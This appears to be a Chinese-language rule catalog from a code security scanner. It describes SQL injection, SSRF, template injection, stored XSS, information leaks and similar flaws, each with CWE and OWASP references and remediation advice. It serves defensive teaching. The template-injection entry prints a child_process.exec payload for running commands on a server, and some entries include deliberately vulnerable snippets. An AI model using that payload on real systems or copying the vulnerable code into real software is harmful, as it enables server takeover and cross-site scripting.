建议	处理可能披露与系统或用户相关信息的内部资源和 API 终端时要谨慎。js 和属性等静态文件是提供给用户的并且容易受到检查。
CWE	CWE ID 200
OWASP2017	None

返回目录

漏洞名称	**Second Order SQL Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者可将任意数据写入数据库，然后被应用程序使用 X（文件）文件第 N 行 XXX（方法） 方法中的 XX（元素） 获取。然后这些数据传递到代码，未经净化便在 SQL 查询中直接使用，然后提交给数据库服务器执行。 这可能导致二阶 SQL 注入攻击。
解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 为了利用此漏洞，攻击者通常会通过其他网页上的表单将恶意负载加载到数据库中。然后，应用程序从数据库中读取这些数据，并将其作为 SQL 命令嵌入 SQL 查询。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。

返回目录

	不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。 另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	A1-Injection

返回目录

漏洞名称	**Security Misconfiguration**
默认严重性	5
摘要	应用程序从 X（文件） 文件第 N 行获取敏感的个人数据 XX（元素） 并以无保护、未加密的方式将其储存到 Y（文件） 文件第 M 行的 YY（元素）。
解释	攻击者可能会在某些时候成功获得服务器的访问权限。这时，攻击者就能读取服务器的内存、数据库等。然后，攻击者就能看到所有敏感信息，包括用户的个人详情。这包括用户的帐户信息、财务数据、SSN 等。借助此信息，攻击者可盗用身份，或者简单地滥用受害者的私密数据。 应用程序将敏感的个人信息（如 PII）储存在用户会话或应用程序数据库中。这些数据是纯文本的，未经过任何加密，因此任何可以访问服务器的人都能窃取这些秘密。
建议	不要以未加密的纯文本方式储存个人数据或其他机密信息。这既适用于长期储存（如数据库），也适用于中期储存（如服务器端会话）。 一定要使用新加密算法（例如 AES）和足够长的加密密钥（例如 256 位）以加密的方式储存敏感数据。另外也要保护加密密钥。 另外，某些类型的数据完全不应该以可逆的格式储存，并可使用加密强 hash 算法（例如 SHA-256）进行 hash 处理。
CWE	CWE ID 933
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Server DoS by loop**
默认严重性	4
摘要	应用程序通过 Y（文件） 文件第 M 行的 YY（元素） 进入一个循环。但是，要确定此循环执行的迭代次数，应用程序需要依赖 X（文件） 文件第 N 行的用户输入 XX（元素）。
解释	攻击者可能提供非常高的迭代次数，导致循环执行非常长的时间，可能导致应用程序停止响应。此外，如果循环内的操作关联了某些穷举功能，则可能导致其他地方溢出；例如——如果循环中有文件写入，那么攻击者只要给这个文件写入功能分配一个非常高的次数，即可导致文件溢出。 应用程序依赖用户提供的值判断循环执行的迭代次数，而未为此值设置一个范围。
建议	考虑避免依赖用户输入判断循环的迭代次数 如果需要依赖用户输入的动态迭代账户，一定要限制迭代次数，并在超出此迭代次数时容忍失败
CWE	CWE ID 730
OWASP2017	None

返回目录

漏洞名称	**Server DoS by sleep**
默认严重性	4
摘要	X（文件） 文件的第 N 行的 XXX（方法） 方法是为 XX（元素） 元素获取用户输入。该元素的值最终被用于定义 Y（文件） 文件第 M 行的 YYY（方法） 方法中的应用程序“休眠”时段。这可能导致 DoS by Sleep 攻击。
解释	攻击者可能提供非常高的休眠值，有效地造成长时间拒绝服务。 这会保持服务器资源忙碌，并且如果连续触发，会导致服务器停止响应并且无法供用户使用。 应用程序使用用户提供的值设置休眠时长，而未为此值设置一个限制范围。
建议	理想情况下，休眠命令涉及的持续时间应该完全与用户输入无关。它应该是或者硬编码的、在配置文件中定义的、或者是在 runtime 时动态计算的。 如果需要允许用户定义休眠持续时间，则必须检查该值并将其限制在预定义的有效值范围内。
CWE	CWE ID 730
OWASP2017	None

返回目录

漏洞名称	**Server-Side Request Forgery**
默认严重性	3.0
摘要	第 N 行的函数 X（函数） 将使用资源 URI 的用户控制数据启动与第三方系统的网络连接。攻击者可以利用此漏洞代表应用程序服务器发送一个请求，因为此请求将自应用程序服务器内部 IP 地址发出。应用程序将使用用户控制的数据启动与第三方系统的连接，以创建资源 URI。

解释	当攻击者可以影响应用程序服务器建立的网络连接时，将会发生 Server-Side Request Forgery。网络连接源自于应用程序服务器内部 IP 地址，因此攻击者将可以使用此连接来避开网络控制，并扫描或攻击没有以其他方式暴露的内部资源。
	在这种情况下，X（文件）的第 N 行调用 YY（函数）。
	<IfDef var="ConditionalDescriptions">
	
	<ConditionalText condition="taint:number">
	在这种情况下，即使数据为数字类型，由于其未经验证仍会被视为恶意内容，因此程序仍将报告漏洞，但是优先级值会有所降低。
	</ConditionalText>
	
	</IfDef>
	示例：在下列示例中，攻击者将能够控制服务器连接至的 URL。
	var http = require('http');
	var url = require('url');
	function listener(request, response){
	var request_url = url.parse(request.url, true)['query']['url'];
	http.request(request_url)
	...
	}
	...
	http.createServer(listener).listen(8080);
	...
	攻击者能否劫持网络连接取决于他可以控制的 URI 的特定部分以及用于建立连接的库。例如，控制 URI 方案将使攻击者可以使用不同于 http 或 https 的协议，类似于下面这样：
	- up://
	- ldap://
	- jar://
	- gopher://
	- mailto://
	- ssh2://
	- telnet://

返回目录

	- expect:// 攻击者将可以利用劫持的此网络连接执行下列攻击： - 对内联网资源进行端口扫描。 - 避开防火墙。 - 攻击运行于应用程序服务器或内联网上易受攻击的程序。 - 使用 Injection 攻击或 CSRF 攻击内部/外部 Web 应用程序。 - 使用 file:// 方案访问本地文件。 - 在 Windows 系统上，file:// 方案和 UNC 路径可以允许攻击者扫描和访问内部共享。 - 执行 DNS 缓存中毒攻击。
建议	请勿基于用户控制的数据建立网络连接，并要确保请求发送给预期的目的地。如果需要提供用户数据来构建目的地 URI，请采用间接方法：例如创建一个合法资源名的列表，用户只能选择其中的内容。通过这种方法，就不能直接使用用户提供的输入来指定资源名称。 但在某些情况下，这种方法并不可行，因为这样一份合法资源名的列表过于庞大，维护难度过大。因此，在这种情况下，程序员通常会采用执行拒绝列表的办法。在输入之前，拒绝列表会有选择地拒绝或避免潜在的危险字符。但是，任何这样一个列表都不可能是完整的，而且将随着时间的推移而过时。更好的方法是创建一个字符列表，允许其中的字符出现在资源名称中，且只接受完全由这些被认可的字符组成的输入。 此外，如果需要，还要确保用户输入仅用于在目标系统上指定资源，但 URI 方案、主机和端口由应用程序控制。这样就可以大大减小攻击者能够造成的损害。
CWE	CWE ID 918
OWASP2017	A5 Broken Access Control

返回目录

漏洞名称	**Server-Side Template Injection**
默认严重性	5.0
摘要	调用 X（文件） 中第 N 行的 X（函数） 会将用户控制的数据作为模板引擎的模板进行评估，这使得攻击者能够访问模板上下文，并在某些情况下在应用程序服务器中注入和运行任意代码。用户控制的数据用作模板引擎的模板，使得攻击者能够访问模板上下文，并在某些情况下在应用程序服务器中注入和运行任意代码。

解释	模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并通过模板设置格式，以生成 Web 页面、电子邮件等。模板引擎可通过条件、循环等代码构造处理上下文数据，从而允许在模板中使用功能强大的语言表达式来呈现动态内容。如果攻击者能够控制要呈现的模板，他们将能够通过注入表达式来公开上下文数据，甚至在服务器上运行任意命令。
	示例 1：下面的示例显示了如何通过 HTTP 请求检索模板并呈现该模板。
	app.get('/', function(req, res){
	var template = _.template(req.params['template']);
	res.write("<html><body> Hello World! " + template() + "</body></html>");
	});
	Example 1 会使用 Underscore.js 作为 Node.js 应用程序中的模板引擎。对于该引擎，攻击者可以提交以下模板以在服务器上运行任意命令：
	<% cp = process.mainModule.require('child_process');cp.exec(<COMMAND>); %>

建议	尽可能不要让用户提供模板。如果需要由用户提供模板，请谨慎执行输入验证，以防止在模板中注入恶意代码。
CWE	CWE ID 95
OWASP2017	A1 Injection

返回目录

漏洞名称	**Setting Manipulation**
默认严重性	3.0
摘要	攻击者可以控制 X（文件） 中第 N 行的 X（函数） 的一个参数，从而导致服务中断或意外的应用程序行为。允许对系统设置进行外部控制可以导致服务中断或意外的应用程序行为。

解释	当攻击者能够通过控制某些值来监控系统的行为、管理特定的资源、或在某个方面影响应用程序的功能时，即表示发生了 Setting Manipulation 漏洞。
	在这种情况下，潜在的恶意数据会通过 X（文件） 中第 N 行的 XX（函数） 进入程序，并流向 Y（文件） 中第 M 行的 YY（函数）。由于 Setting Manipulation 漏洞影响到许多功能，因此，对它的任何说明都必然是不完整的。与其在 Setting Manipulation 这一类中寻找各个功能之间的紧密关系，不如往后退一步，考虑有哪些系统数值类型不能由攻击者来控制。
	示例 1：下面的 Node.js 代码片段会在 http.IncomingMessage 请求变量中读取字符串，并使用该字符串设置其他 V8 命令行标记。
	var v8 = require('v8');
	...
	var flags = url.parse(request.url, true)['query']['flags'];
	...
	v8.setFlagsFromString(flags);
	...
	在此示例中，攻击者可以导致在 VM 上设置各种不同的标记，这可能会导致不可预知的行为，包括程序崩溃或潜在的数据丢失。
	总之，应禁止使用用户提供的数据或通过其他途径获取不可信任的数据，以防止攻击者控制某些敏感的数值。虽然攻击者控制这些数值的影响不会总能立刻显现，但是不要低估了攻击者的攻击力。

建议	禁止由不可信赖的数据来控制敏感数值。在发生此种错误的诸多情况中，应用程序预期通过某种特定的输入，仅得到某一区间内的数值。如果可能的话，应用程序应仅通过输入从预定的安全数值集合中选择数据，而不是依靠输入得到期望的数值，从而确保应用程序行为得当。针对恶意输入，传递给敏感函数的数值应当是该集合中的某些安全选项的默认设置。即使无法事先了解安全数值集合，通常也可以检验输入是否在某个安全的数值区间内。若上述两种验证机制均不可行，则必须重新设计应用程序，以避免应用程序接受由用户提供的潜在危险数值。
CWE	CWE ID 15
OWASP2017	None

返回目录

漏洞名称	**Setting Manipulation:User-Controlled Allow List**
默认严重性	4.0
摘要	对 X（文件） 中第 N 行的 X（函数） 的调用允许用户定义允许列表，使用户可以将恶意输入标记为安全。应用程序允许用户定义允许列表，使用户可以将恶意输入标记为安全。
解释	框架通常会定义验证允许列表，以免受漏洞攻击。 示例 1：以下代码允许恶意用户设置允许列表，AngularJS 使用此白名单确定可以检索哪些类型的链接图像。 myModule.config(function($compileProvider){ $compileProvider.imgSrcSanitizationWhitelist(userInput); }); 这样看似正常，但如果用户将正则表达式设置为 /^(http(s)?|javascript):.*/，应用程序可能会允许在图像源 URL 中使用内联 JavaScript，这可能会引发 cross-site scripting 攻击。 对允许列表的其他使用可能会阻止所有不同类型的攻击，尤其是 cross-site scripting、command injection、SQL injection 等注入攻击以及业务逻辑缺陷。
建议	总之，不应允许用户设置供框架内部用于进行安全或业务逻辑验证的允许列表。除非符合以下条件：对允许列表的配置更严格、仅允许管理员设置白名单且通常在配置文件中进行设置。
CWE	CWE ID 15
OWASP2017	None

返回目录

漏洞名称	**Setting Manipulation:User-Controlled Expression Delimiters**
默认严重性	3.0
摘要	对 X（文件） 中第 N 行的 X（函数） 的调用允许用户定义表达式分隔符，这可能会使恶意用户能够规避表达式转义，从而引发 cross-site scripting 漏洞。应用程序允许用户定义表达式分隔符，使用户能够规避 cross-site scripting 保护。

解释	如果允许用户定义模板引擎使用的分隔符，则意味着之前实施的保护可能不再起作用，或者可能无效。在危害最轻的情况下，这可能会导致功能无法按预期运行，或者导致信息泄露，但还可能会让恶意用户能够规避引擎保护，从而引发 cross-site scripting 漏洞。
	
	示例 1：在以下代码中，AngularJS 模块配置为在 URL 中使用从散列定义的开始符号。
	var hash = window.location.hash;
	var myStartSymbol = decodeURIComponent(hash.substring(1, hash.length));
	myModule.config(function($interpolateProvider){
	$interpolateProvider.startSymbol(myStartSymbol);
	});
	这样做通常是为了能够同时使用多个模板引擎，这实际上极为危险 [1]，可能会导致正在运行的引擎与 AngularJS 表达式不兼容，从而可能导致用户能够绕过常规验证，在浏览器中运行他们自己的代码。

建议	一般而言，最好完全不要混合模板引擎，尤其重要的是，不要允许用户在运行时对此进行定义。从开发人员的角度而言，这样做实际上对两种模板引擎都无法提供保护，而且强制执行这些验证的模板引擎未考虑一种情况，即您可能会将它们的模板引擎与其他模板引擎同时运行。
CWE	CWE ID 15
OWASP2017	None

返回目录

漏洞名称	**SQL Injection**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 执行了 SQL 查询。应用程序通过在查询中嵌入不可信任且未正确地进行净化的字符串构造 SQL 查询。拼接的字符串被提交到数据库，然后它在那里被解析并执行。 攻击者将能够通过设计恶意有效负载并通过输入 XX（元素） 在 SQL 查询中注入任意语法和数据；然后由 X（文件） 文件第 N 行的 XXX（方法） 方法读取此输入。然后该输入无需净化即可经代码进入查询和到达数据库服务器。 这可能会导致 SQL 注入攻击。
解释	攻击者可以直接访问系统的所有数据。攻击者可能会窃取系统存储型敏感信息，包括私人用户信息、信用卡信息、专有业务数据和任何其他秘密数据。同样，攻击者可能会修改或删除现有数据，甚至添加新的伪造数据。在某些情况下，甚至可以在数据库上执行代码。 除了直接披露或更改机密信息之外，此漏洞还会被用于实现二次效应，例如绕过身份验证、破坏安全检查或伪造数据跟踪。 还有一方面会进一步增加这个漏洞被利用的可能性，就是此缺陷很容易被攻击者发现，而且容易使用。 应用程序通过向数据库引擎提交文本 SQL 查询来存储和管理数据库中的数据。应用程序通过简单的字符串拼接创建查询，嵌入了不可信任的数据。但是，数据和代码之间没有分离；此外，既没有检查嵌入数据的数据类型有效性，随后也没有进行净化。这样，不可信任的数据可能会包含 SQL 命令，或者修改指定的查询。数据库会将被更改的查询和命令视为来自应用程序，然后执行它们。 注意攻击者可通过修改 URL 或在用户输入或其他请求字段中提交恶意数据来利用此漏洞。
建议	验证所有来源的所有不可信任的数据。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。 特别是要检查： 数据类型 大小 范围 格式 预期值。 根据最小权限原则，限制对数据库对象和功能的访问。 不要使用动态拼接的字符串来构造 SQL 查询。 建议为所有数据访问使用 DB 存储过程，代替随机的动态查询。 不使用不安全的字符串拼接，而是使用安全数据库组件，例如参数化查询和对象绑定（用于命令和参数）。

返回目录

	另外还有一种更好的解决方案，就是使用 ORM 库为应用程序预定义和封装可以使用的命令，避免直接动态访问数据库。这样，代码层和数据层就会彼此分离。
CWE	CWE ID 89
OWASP2017	A1-Injection

返回目录

漏洞名称	**SSL Verification Bypass**
默认严重性	4
摘要	Y（文件） 模块在 YYY（方法） 中发送和接收 HTTPS 请求。第 M 行的 YY（元素） 参数有效地禁用了 SSL 证书信任链验证。
解释	如果 SSL/TLS 库被配置为禁用证书信任链验证，这可能使应用程序接受伪造证书。这使攻击者能够拦截客户端请求、伪造服务器证书，并主动执行中间人攻击，甚至可以通过 HTTPS 执行。这样，攻击者对请求和响应有完全的访问权限，可以读取任何秘密信息并修改任何敏感数据，包括用户凭证。 应用程序显式将 HTTPS 请求的参数设置为禁用证书信任链验证。如果未对证书签署方一路验证到可信的证书颁发机构，就可能颁发伪造的证书，并被应用程序识别。因为已在系统受信任的根证书存储中配置了签名证书，所以只要使用有任意用户名或服务器名的自签名证书，应用程序就会信任该证书，而不强制执行验证。
建议	通用指南： 正确地实施所有必要的检查，以确保加密通信中涉及的实体身份正确。 正确地配置 HTTPS 的所有参数。 具体建议： 不要禁用证书验证。 显式执行验证，将"rejectUnauthorized" 设置为 True。
CWE	CWE ID 599
OWASP2017	A6-Security Misconfiguration

返回目录

漏洞名称	**Stored Code Injection**
默认严重性	4
摘要	应用程序的 YYY（方法） 方法使用位于 Y（文件） 文件的第 M 行的 YY（元素） 元素接收并动态执行用户控制的代码。这使攻击者能够注入并运行任意代码。 攻击者可以将有效负载插入数据库或本地文件中的标准文本字段来注入执行的代码。此文本由 XXX（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素） 检索，然后发送到执行方法。
解释	攻击者可以在应用程序服务器的主机上运行任意代码。取决于操作系统赋予应用程序的权限，此类攻击可能包括： 访问数据库，例如读取或修改敏感数据； 文件操作（读取/创建/修改/删除）； 更改网址； 打开到攻击者服务器的网络连接； 使用应用程序的加密密钥来解密保密数据； 启动和停止系统服务； 完全接管服务器。 应用程序通过创建和运行包含不可信任数据的代码来执行某些操作，这可能受到某位恶意用户的控制。如果数据包含恶意代码，则执行的代码可能包含攻击者设计的系统级操作，效果就像攻击者直接在应用程序服务器上运行代码一样。
建议	应用程序不应编译、执行或评估来自任何外部源的任何不可信任的代码，其中包括用户输入、上传的文件或某数据库。 如果动态执行时，确实需要使用外部数据，可以将数据以参数形式传递给代码，但不要直接执行用户数据。 如果需要将不可信任的数据传递给动态执行，请使用非常严格的数据验证。例如，仅接受特定值之间的整数。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。参数应限制为允许的字符集，并且应丢弃未验证的输入。除字符外，检查以下项： 数据类型 大小 范围 格式 预期值 如果可行，尽量参照白名单中已知和可信任的输入，而不是与黑名单进行比较。 将应用程序的运行方式配置为使用受限用户帐户运行，此用户帐户无不必要的权限。

返回目录

	根据最小权限原则，如果可行，应独立出来所有的动态执行，以使用一个单独的专用用户帐户来运行，该帐户仅对特定操作和动态执行所涉及的文件有权限。 首选通过动态执行用户控制的代码将用户数据传递给预实现的脚本，例如另一个隔离的应用程序中。
CWE	CWE ID 94
OWASP2017	A1-Injection

返回目录

漏洞名称	**Stored Path Traversal**
默认严重性	3
摘要	X（文件） 文件第 N 行 XXX（方法） 方法从 XX（元素） 元素获取动态数据。然后，此元素的值将传递到代码，并最终在 Y（文件） 文件第 M 行的 YYY（方法） 中用于本地磁盘访问的文件路径中。这可能会导致路径遍历漏洞。
解释	攻击者可能为要使用的应用程序定义任意文件路径，可能导致: 窃取敏感文件，例如配置或系统文件 覆写文件，例如程序二进制文件、配置文件或系统文件 删除关键文件，导致拒绝服务 (DoS) 攻击。 应用程序使用存储中的数据确定访问应用程序服务器本地磁盘上的文件的文件路径。如果此数据可以被用户输入污染，则攻击者可以通过易受攻击的方法存储自己的值以执行路径遍历。
建议	理想情况下，应避免依赖动态数据选择文件。 无论来源如何，一概验证所有输入。验证应基于白名单：仅接受符合指定结构的数据，而不是排除不符合要求的模式。检查以下项: 数据类型 大小 范围 格式 预期值 仅接受文件名的动态数据，而不能接受路径和文件夹的数据。 确保文件路径完全规范化。 明确限制应用程序只能使用与应用程序二进制文件夹分开的指定文件夹。 将应用程序的 OS 用户的权限限制为只能使用必要的文件和文件夹。 应用程序不应该能够写入应用程序二进制文件夹，也不应该读取应用程序文件夹和数据文件夹之外的任何内容。
CWE	CWE ID 36
OWASP2017	A5-Broken Access Control

返回目录

漏洞名称	**Stored XSS**
默认严重性	5
摘要	应用程序的 YYY（方法） 使用 Y（文件） 文件第 M 行的 YY（元素） 在生成的输出中嵌入了不可信任的数据。不可信任的数据直接嵌入输出，没有经过适当的净化或编码，这使攻击者能够将恶意代码注入输出。 攻击者可以通过提前在数据存储中保存恶意数据来更改返回的网页。然后 XXX（方法） 方法使用 X（文件） 文件第 N 行的 XX（元素）从数据库读取攻击者修改的数据。然后这些不可信任的数据无需净化即可经代码到达输出网页。 这样就可以发起存储跨站点脚本 (XSS) 攻击。
解释	成功的 XSS 攻击将使攻击者能够重写网页并插入可能改变预期输出的恶意脚本。这包括 HTML 片段、CSS 样式规则、任意 JavaScript 或对第三方代码的引用。攻击者可以用此来窃取用户的密码、收集个人数据（如信用卡信息）、提供虚假信息或运行恶意软件。从受害者的角度来看，这是真正的网站做的，受害者会认为其遭受的损失应由网站负责。 攻击者可以使用应用程序的合法权限提交修改后的数据到应用程序的数据存储。然后这会被用于构造返回的网页，从而触发攻击。 应用程序使用不可信任的数据（来自用户输入、应用程序的数据库或其他外部源）创建网页。不可信任的数据被直接嵌入页面的 HTML 中，使浏览器将其显示为网页的一部分。如果输入中包含 HTML 片段或 JavaScript，那么也会显示这些片段，用户也无法分辨这是不是预期的页面。该漏洞是直接嵌入任意数据、未先以可以避免浏览器将用户输入视为 HTML 或代码（而应视为纯文本）的格式进行编码的结果。 为了利用此漏洞，攻击者通常会通过其他网页上的常规表单将恶意负载加载到数据存储中。然后，应用程序从数据存储中读取这些数据，并将其嵌入显示给另一个用户的网页。
建议	完全编码所有来源的所有动态数据，然后再将其嵌入输出。 编码应该是上下文敏感的。例如： 用于 HTML 内容的 HTML 编码。 用于输出数据到特性值的 HTML 特性编码 用于服务器生成的 JavaScript 的 JavaScript 编码 建议使用平台提供的编码功能或已知的安全库来编码输出。 为应用程序的来源实施内容安全策略 (CSP) 和显式白名单。 为进一步提供保护，可验证所有来源的所有不可信任的数据（注意这不能代替编码）。验证应使用白名单：仅接受适合指定结构的数据，而不是排除不符合要求的模式。检查： 数据类型 大小

返回目录

	范围 格式 预期值 在 Content-Type HTTP 响应头中，明确定义整个页面的字符编码（字符集）。 在会话 cookie 上为“深度防御”设置 HTTPOnly 标记，以防止任何成功的 XSS 漏洞窃取 cookie。
CWE	CWE ID 79
OWASP2017	A7-Cross-Site Scripting (XSS)

返回目录

漏洞名称	**System Information Leak**
默认严重性	3.0
摘要	X（文件） 中的 XXX（方法） 函数可能通过调用第 N 行的 X（函数） 来揭示系统数据或调试信息。由 X（函数） 揭示的信息使攻击者能够制定攻击计划。显示系统数据或调试信息使攻击者能够使用系统信息来计划攻击。
解释	当系统数据或调试信息通过输出流或者日志功能流出程序时，就会发生信息泄漏。 在这种情况下，X（文件）的第 N 行调用 YY（函数）。 示例 1：以下代码会将一个异常写入 AngularJS 中的浏览器控制台： $log.log(exception); 根据异常的来源，这可能会向导致客户端出错的用户发送信息，或者可能向与服务器端信息相关的远程用户发送信息。 在某些情况下，该错误消息恰好可以告诉攻击者入侵这一系统的可能性究竟有多大。例如，一个数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他的错误消息可以揭示有关该系统的更多间接线索。

建议	编写错误消息时，始终要牢记安全性。在编码的过程中，尽量避免使用繁复的消息，提倡使用简短的错误消息。限制生成与存储繁复的输出数据可帮助管理员和程序员诊断问题。调试踪迹有时可能出现在不明显的位置（例如，嵌入在错误页 HTML 的注释中）。
	即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，“Access Denied”（拒绝访问）消息可以揭示系统中存在一个文件或用户。因此，切勿将信息直接发送到程序外部的资源。
	示例 2：以下代码会在从 AJAX 请求收到一个错误后写入一条通用消息。
	var errorCallback = function(response){
	if (response.status == 400){
	$log.log('Service not found');
	}else{
	$log.log('Something went wrong attempting to reach the server');
	}
	};
	$http.get('/someUrl', config).then(successCallback, errorCallback);

CWE	CWE ID 497
OWASP2017	None

返回目录

漏洞名称	**System Information Leak:External**
默认严重性	3.0
摘要	X（文件） 中的 XXX（方法） 函数可能通过调用第 N 行的 X（函数） 来揭示系统数据或调试信息。由 X（函数） 揭示的信息使攻击者能够制定攻击计划。显示系统数据或调试信息使攻击者能够使用系统信息来计划攻击。

解释	当系统数据或调试信息通过套接字或网络连接使程序流向远程机器时，就会发生外部信息泄露。外部信息泄露会暴露有关操作系统、完整路径名、现有用户名或配置文件位置的特定数据，从而使攻击者有机可乘，它比内部信息（攻击者更难访问）泄露更严重。
	在这种情况下，X（文件）的第 N 行调用 YY（函数）。
	示例 1：以下代码会在网页内文本区域中泄露异常信息：
	...
	dirReader.readEntries(function(results){
	...
	}, function(error){
	$("#myTextArea").val('There was a problem: ' + error);
	});
	...
	该信息可能会显示给远程用户。在某些情况下，该错误消息会告诉攻击者该系统易遭受的确切攻击类型。例如，数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他错误消息可以揭示有关该系统的更多间接线索。在 Example 1 中，泄露的信息可能会暗示有关操作系统类型、系统上安装了哪些应用程序以及管理员在配置程序时采取了哪些保护措施的信息。

建议	编写错误消息时，始终要牢记安全性。在编码的过程中，尽量避免使用繁复的消息，提倡使用简短的错误消息。限制生成与存储繁复的输出数据可帮助管理员和程序员诊断问题。调试踪迹有时可能出现在不明显的位置（例如，嵌入在错误页 HTML 的注释中）。 即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，“Access Denied”（拒绝访问）消息可以揭示系统中存在一个文件或用户。因此，切勿将信息直接发送到程序外部的资源。
CWE	CWE ID 215, CWE ID 489, CWE ID 497
OWASP2017	None

返回目录

漏洞名称	**System Information Leak:Internal**
默认严重性	3.0
摘要	X（文件） 中的 XXX（方法） 函数可能通过调用第 N 行的 X（函数） 来揭示系统数据或调试信息。由 X（函数） 揭示的信息使攻击者能够制定攻击计划。显示系统数据或调试信息使攻击者能够使用系统信息来计划攻击。

解释	通过打印或日志记录功能将系统数据或调试信息发送到本地文件、控制台或屏幕时，就会发生内部信息泄露。
	在这种情况下，X（文件）的第 N 行调用 YY（函数）。
	示例 1：以下代码会将一个异常写入标准错误流：
	var http = require('http');
	...
	http.request(options, function(res){
	...
	}).on('error', function(e){
	console.log('There was a problem with the request: ' + e);
	});
	...
	根据这一系统配置，该信息可能会转储到控制台、写入日志文件或公开给用户。在某些情况下，该错误消息会告诉攻击者该系统易遭受的确切攻击类型。例如，数据库错误消息可以揭示应用程序容易受到 SQL Injection 攻击。其他错误消息可以揭示有关该系统的更多间接线索。在 Example 1 中，泄露的信息可能会暗示有关操作系统类型、系统上安装了哪些应用程序以及管理员在配置程序时采取了哪些保护措施的信息。

建议	编写错误消息时，始终要牢记安全性。在编码的过程中，尽量避免使用繁复的消息，提倡使用简短的错误消息。限制生成与存储繁复的输出数据可帮助管理员和程序员诊断问题。调试踪迹有时可能出现在不明显的位置（例如，嵌入在错误页 HTML 的注释中）。 即便是并未揭示栈踪迹或数据库转储的简短错误消息，也有可能帮助攻击者发起攻击。例如，“Access Denied”（拒绝访问）消息可以揭示系统中存在一个文件或用户。
CWE	CWE ID 497
OWASP2017	None

返回目录

漏洞名称	**Trust Boundary Violation**
默认严重性	3.0
摘要	X（文件） 中的 XXX（方法） 方法将可信赖的数据和不可信赖的数据混合在同一数据结构中，这会导致程序员错误地信任未经验证的数据。在同一数据结构中将可信赖数据和不可信赖数据混合在一起会导致程序员错误地信赖未验证的数据。

解释	信任边界可以理解为在程序中划分的分界线。分界线的一边是不可信赖的数据。分界线的另一边则是被认定为是可信赖的数据。验证逻辑的用途是允许数据安全地跨越信任边界 — 从不可信赖的一边移动到可信赖的另一边。
	当程序使可信赖和不可信赖的分界线模糊不清时，就会发生 Trust Boundary Violation 漏洞。发生这种错误的最普遍方式是允许可信赖的数据和不可信赖的数据共同混合在同一数据结构中。
	在这种情况下，不可信赖的数据进入 X（文件）的第 N 行的的 XX（函数） 中。调用 Y（文件） 中第 M 行的 YY（函数），可以将数据添加到可信赖的数据结构中。
	示例：以下代码将一个不可信的项目 (URL) 从 iOS 扩展 JavaScript 脚本传递到 iOS 扩展代码。
	var GetURL = function() {};
	GetURL.prototype = {
	run: function(arguments) {
	...
	arguments.completionFunction({ "URL": document.location.href });
	}
	...
	};
	var ExtensionPreprocessingJS = new GetURL;
	若不对信任边界进行合理构建及良好维护，则程序员不可避免地会混淆哪些数据已经过验证，哪些尚未经过验证。这种混淆最终会导致某些数据未经验证就加以使用了。

建议	在应用程序中定义信任边界。不要在数据结构中储存在某些环境下受信任而在其他环境下又转而不可信赖的数据。应尽量减少数据跨越信任边界的方式。 在处理输入之前，需要通过一系列用户交互来累积输入时，有时就会出现 Trust Boundary Violation 漏洞。所以，在得出所有数据之前，不可能进行完整的输入验证。在这种情况下，维护信任边界仍然是非常重要的。应将不可信赖的数据添加到一个不受信任数据结构中，待验证后，再移至可信赖的区域。
CWE	CWE ID 501

返回目录

OWASP2017	None

返回目录

漏洞名称	**Uncontrolled Format String**
默认严重性	2
摘要	X（文件） 文件第 N 行的 XXX（方法） 方法从用户输入接收 XX（元素） 值。然后该值被用于构建"格式字符串"YY（元素），并用作 Y（文件） 文件第 M 行 YYY（方法） 方法的字符串格式实参。这样攻击者可通过不受控制的格式参数引发未处理的异常。
解释	允许恶意用户修改格式字符串可能使其能够抛出异常，可能导致整个应用程序或仅当前模块崩溃，以（例如）掩盖恶意活动。 应用程序允许用户输入影响用于格式化打印函数的字符串实参。这个函数族的第一个实参指定了动态构造的输出字符串的相对格式，包括如何表示其他各个实参。 如果此格式字符串格式错误，或者它引用的实参多于传递给函数的实参，则会抛出异常。如果此异常未被应用程序代码捕捉到，则整个进程可能会崩溃。或者，如果异常后来在堆栈被通用异常处理程序捕获，则只有当前方法会被破坏，并可能会绕过其他安全检查，例如日志记录机制。
